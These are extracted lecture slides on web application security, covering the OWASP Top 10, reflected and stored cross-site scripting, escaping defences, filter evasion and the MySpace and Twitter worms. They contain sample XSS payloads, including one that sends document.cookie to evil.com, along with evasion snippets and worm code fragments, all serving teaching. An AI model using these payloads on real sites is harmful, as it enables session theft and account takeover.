Review Slide: Web Security Overview

• **Browser security model**
  • **Browser sandbox**: isolate web from local machine
  • **Same origin policy**: isolate web content from different domains
  • Also: Isolation for **plugins and extensions**

• **Web application security**
  • How (not) to build a secure website
Web Application Security:
How (Not) to Build a Secure Website
Dynamic Web Application

Browser

GET / HTTP/1.1

HTTP/1.1 200 OK

Web server

index.php

Database server
OWASP Top 10 Web Vulnerabilities (5/2021)

1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging and Monitoring
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code
  
  \[
  \text{<input value=\texttt{\textless;<?php \textbf{echo} $myvalue; \textgreater;}}>
  \]

- Can embed variables in double-quote strings
  
  \[
  \text{
  \$user = "world"; \textbf{echo} "Hello \$user!";
  or \$user = "world"; \textbf{echo} "Hello" . \$user . "!";
  }
  \]

- Form data in global arrays \$_GET, \$_POST, ...
Echoing / “Reflecting” User Input

Classic mistake in server-side applications

http://naive.com/search.php?term="Example 484 Project Ideas?"

search.php responds with

<html> <title>Search results</title>
<body>You have searched for <?php echo $_GET[term] ?>...
  </body>
Echoing / “Reflecting” User Input

naive.com/hello.php?name=

User

Welcome, dear User

Welcome, dear
Cross-Site Scripting (XSS)

Victim’s browser

Access some web page

GET/steal.cgi?cookie=...

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”


Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com


Hello, dear
Welcome!</HTML>

evil.com

<iframe src=http://naive.com/hello.cgi?
name=<script>win.open(“http://evil.com/steal.cgi?
cookie=+document.cookie”)</script>
</iframe>

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/ hello.cgi?name=...

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

naive.com

Hello, dear
Welcome!</HTML>
Basic Pattern for Reflected XSS

Injected script can manipulate website to show bogus information, leak sensitive data, cause user’s browser to attack other websites. This violates the “spirit” of the same origin policy.

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data
Reflected XSS

• User is tricked into visiting an honest website
  • Phishing email, link in a banner ad

• Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  • The origin of this script is now the website itself!

• Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  • This violates the “spirit” of the same origin policy
Stored XSS

1. Inject malicious script

2. Receive malicious script

3. Request content

4. Steal valuable data

Attack server

Inject malicious script

Store bad stuff

Server victim

Users view or download content

User victim
Where Malicious Scripts Lurk

• User-created content
  • Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  • Many sites try to filter out scripts from user content, but this is difficult!
In all XSS there are 3 actors

• Adversary

• Server victim

• User victim
Preventing Cross-Site Scripting

• Any user input and client-side data **must** be preprocessed before it is used inside HTML

• Remove / encode HTML special characters
  • Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  • In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
  • In ASP.NET, Server.HtmlEncode(string)
Evading Ad Hoc XSS Filters

• Preventing injection of scripts into HTML is hard! → Use standard APIs
  • Blocking “<” and “>” is not enough
  • Event handlers, stylesheets, encoded inputs (%3C), etc.
  • phpBB allowed simple HTML tags like <b>
    
    ```html
    <b c=""> onmouseover="script" x="<b ”>Hello<b>
    ```
  • Beware of filter evasion tricks (XSS Cheat Sheet)
    • If filter allows quoting (of <script>, etc.), beware of malformed quoting:
      ```html
      <IMG ""><SCRIPT>alert("XSS")</SCRIPT>"
      ```
    • Long UTF-8 encoding
    • Scripts are not only in <script>:
      ```html
      <iframe src='https://bank.com/login’ onload=‘steal()’>
      ```
MySpace Worm (1)

• Users can post HTML on their MySpace pages
• MySpace does not allow scripts in users’ HTML
  • No <script>, <body>, onclick, <a href=javascript:/> 
• ... but does allow <div> tags for CSS.
  • <div style=”background:url(‘javascript:alert(1)’)”>
• But MySpace will strip out “javascript”
  • Use “java<NEWLINE>script” instead
• But MySpace will strip out quotes
  • Convert from decimal instead:
    alert(‘double quote: ‘ + String.fromCharCode(34))
MySpace Worm (2)

Resulting code:

```html
https://samy.pl/myspace/tech.html
```

2/22/2022
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or make anyone angry. This was in the interest of interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  • Was adding 1,000 friends per second at its peak
Twitter Worm (2009)

• Can save URL-encoded data into Twitter profile
• Data not escaped when profile is displayed
• Result: StalkDaily XSS exploit
  • If view an infected profile, script infects your own profile

var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+'&status="+update+'&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+'&user[url]="+xss+'&tab=home&update=update")